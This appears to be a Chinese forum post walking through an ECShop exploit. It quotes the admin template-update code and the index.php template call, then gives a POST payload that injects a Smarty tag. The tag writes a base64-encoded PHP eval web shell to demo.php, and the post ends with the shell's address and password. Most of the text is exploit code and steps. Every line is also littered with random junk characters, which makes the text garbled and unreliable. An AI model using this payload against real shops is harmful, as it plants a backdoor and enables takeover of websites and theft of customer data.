首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 S: r& y) Q9 W. ]4 q2 X' H$ A, X) r$ G& l& M: H$ a/ s/ h3 `
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 u* ^" D9 K0 d4 e$ f但是ecshop似乎不支持{php}{/php}这个标签来执行php代码2 r9 L I8 _+ ^4 i
admin/template.php% `9 g6 Y, {8 V& b' v! v1 Z
' w+ v: C7 \' u6 t
1 if ($_REQUEST['act'] == 'update_library')
5 v% z: T& L4 z' b
9 I. N) }9 d- i: G% w3 S2 6 ], x* \/ `7 Y9 U: L* b
2 r) g" n& [/ C. W7 H" t! ~3 { 4 w9 U9 z# O! T" y
' q$ ^4 K0 i8 [6 D+ R9 i
4 check_authz_json('library_manage'); 1 g, r" N$ E2 f2 d
* c% }3 M2 b! O- c5 ( b; A! [3 j( i6 A9 q
' \* k# z( Y) _% d; L0 P% v
6 $html = stripslashes(json_str_iconv($_POST['html'])); ) i% _% n+ Q" ~8 q- |( U
# j1 W, t* r; z/ F7
% U( }4 W' Q/ ~! Y7 v+ t) _% W1 m& g
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ) P$ x! I$ d# X) c# C
8 F) |6 n/ h- J# d. k, X
9
1 t1 m8 R! ] _, Z! W* c' m: ]! W8 G/ z9 H5 ]
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% k, E) X0 b' r1 A* Q+ m4 E* O- g, x; B" q+ o0 w+ c$ N2 j' |
11
4 }% o) e2 C) P) V! q6 d
# }1 M( ` V/ y1 M8 U7 L12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 6 l3 [& a0 _# m; W
5 ^3 e; `7 r: l" M
13 ! W* ?+ f+ P3 M" v9 H
0 p Y( B( z' x4 }# E4 X14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 * s6 b% |/ B1 C5 p7 C
; m3 n/ Q m2 h8 Z: f+ E1 U15 { 7 z* n1 h4 T9 t5 k
7 W- l$ L; ` F; O* [, C16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
$ K" H# C7 \* L* `1 X6 l9 S9 h& e5 [& P) i3 q2 E: T
17 make_json_result('', $_LANG['update_lib_success']); ; } [# e- {6 }. }
! J6 Q5 r1 Y0 U' d, ~" t
18 } & e* W/ [* q9 a& Y5 S& y, S
. t! r4 z: J$ e3 M3 J' O
19 else 5 J# j; \0 P: H0 X7 X. n0 p8 X
% B x0 r0 z6 P+ ^$ w1 D20 {
) W2 b. v: i* A" \$ l P9 E
5 z0 s) f( B5 H; a/ E, R+ l! M21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
7 |/ x: v' B8 G4 F2 R9 {* c# P1 s9 n2 v. M- @
22 }
, A$ ~8 f5 t0 F2 a1 Q1 e- k5 ?# ~! q# V. S
23 } 8 |- q* e( P. g$ d
8 M4 X. D3 a( z" _1 U' c
那么找个比较方便调用了模板的文件$ a j+ B, N3 W; p( M, p
index.php
, ^ m! T' x* u/ }8 {3 d, m& L& K8 c) j. ^, a4 Z
1 if ($act == 'cat_rec')
0 j" [( N: Y; C9 w) M& D
" \ N4 U. [, Z0 f( l2
9 {9 Q. A1 N) G s# }
j- H4 M3 H1 c# Y. d3 {
, ^( X' B- G6 B& c0 W" k3 N! @$ ]: C, t3 [( w
4
6 K% c! z$ Y0 F1 K* Y- H: R+ t! B* z2 E R+ H) |! \5 Q1 O; V
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
C4 b: a3 r) ~- I7 q7 E7 v0 }: n
6 7 ^2 h$ P" h& i& U! g2 [
2 T2 ~& x( f. H! R% v
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
9 p l9 x. c& ^. {4 q9 W# f0 a' T2 N$ y
8
/ M7 o) ^/ U) e# B) p- _ r# i, E; `+ N( n' J& {, G
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 3 S. ]" ] o+ g- \7 p$ X4 a
7 ~* E+ [3 r2 h4 s- n1 k2 F
10
% e* D! D! U/ r6 H# U5 \) P# x7 c3 u5 ^
11 include_once('includes/cls_json.php'); # Q7 x0 X* P. u
, r: G2 @4 o6 p3 P4 l( z
12
( h* v0 u6 ]: y" A5 n2 T: Y: y
' V/ a4 }; E5 Y13 $json = new JSON; ' p' O3 z( d6 C# R0 S
; K2 m+ q: `3 ]: e, t" t, a& E. |14
) ~ h# Q* @, ~; d& }7 t8 u
& |: O J" _' ^) f9 T7 ?15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); & G% r9 L% _& c8 d/ y( x$ {
: D; [) s# q6 c4 I/ Z% ?8 P7 h16
% X3 }( z, _( S$ {0 Z0 v
1 M2 [/ [. q+ A! L; y, E17 $children = get_children($cat_id); , x8 ~5 \ Z3 F2 |% } ]- s7 l
3 B, ]& X; m+ J4 N
18
, ~9 H1 S( t5 V' X/ p" ]% X7 a" d2 B) | K9 ]
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 2 L, X- f. E$ }; W& L0 _
1 `3 ?/ |( ~+ y9 Z4 w6 B/ s20
- W2 ]- `! a; u. v* c6 a
" }3 p, J: a* O0 @9 k+ o* T3 J21 $smarty->assign('cat_rec_sign', 1); / S8 l8 x, \; S% r; X
5 M+ m; k. D9 o22
& p8 ~2 V3 }0 w1 {( z+ ?: l! L
% ?" b+ b. M$ Q$ i23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
, c- y/ ~ [8 d1 o8 Y/ T) `% }1 Z: T3 N+ t/ W' ?; ^/ F
24
# S N% x, M; @8 k% \& P4 ^5 i. h' n. R' c6 g- k8 B
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; & w6 T. O0 L/ Q: G0 F L8 n
# y0 O( M' d( O7 _8 d; o
26 - r! s; h9 o# W! ^3 B, A! l. `
* S: d% I" T0 T2 I7 h& D
27 echo $rec_array[$rec_type];
2 x: N# M p/ l. \$ D( B4 v0 v/ D% T7 Y" T. O, p
28 + q1 ?0 @" @- U* P/ A. M$ L+ ]
# m3 P# {4 r" @ K, I29 die($json->encode($result));
5 b2 t# ^* }" m W0 `; T: X
; [ u( D# b, O- w- N30
9 U. w: U* F' F$ Q8 r# D# O: z( A" O% ]9 r3 K Z, B
31 } X M) N( P1 d% F# c& v3 g
# }" C2 c5 F" i* h那么就有利用方法了
1 [6 p3 p6 ~- Apost包到http://localhost/ec/admin/template.php?act=update_library
" _4 E/ o: F6 Y* rPost内容:
+ @, j5 W; t% V
, l! m4 g I1 c
& ~. Q1 G) R; W, y: i/ b& u1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
1 y. q( p* ^3 _$ [ V$ I& Z* e& B6 M0 O3 t3 n9 _
然后访问http://localhost/ec/index.php?act=cat_rec3 i' Q6 z% G9 T$ J. k* l7 o
, d7 _ v. M* jshel地址:http://localhost/ec/demo.php
5 w, X7 Y; R$ ]2 D; k; s) l0 V密码c/ z* c3 k% f1 X. U: ^& m
) B6 ]% q* n9 i/ `# K4 [) v
|